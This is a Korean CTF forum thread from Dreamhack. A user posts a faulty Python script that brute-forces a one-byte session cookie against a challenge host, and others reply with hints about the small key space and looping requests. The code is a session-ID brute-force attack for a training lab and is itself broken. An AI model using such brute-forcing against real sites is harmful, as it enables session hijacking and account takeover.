완료됨
코드 뭐가 어디서 부터 잘 못 된 걸까요ㅜ

import os
import requests
import urllib.request

i = 0
for i in range(100):
random = os.urandom(1).hex()

cookie = {
    "sessionid":random
}

session = requests.Session()

session.post('http://host1.dreamhack.games:15829/', cookies=cookie)

with urllib.request.urlopen('http://host1.dreamhack.games:15829/') as page:
    html = page.read()

if html == 'flag is':
    print(random)
    break
#web
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 3
믕믕이부하
대표 업적 없음

코드를 끝까지 보시면 아시겠지만 admin 계정은 os.urandom(4).hex()가 아니라 os.urandom(1).hex()로 생성됩니다.

2021.12.22. 22:07
catower
강의 수강: 1

브루트포스 리스트를 만드는 코드 작성은 수학시간에 배운 경우의수를 생각해보시면 됩니다~

2021.12.23. 01:59
Sechack
2024 Invitational Contenders

python requests모듈을 사용해서 값을 바꿔가면서 반복적으로 요청을 보내면 됩니다.

2021.12.23. 14:24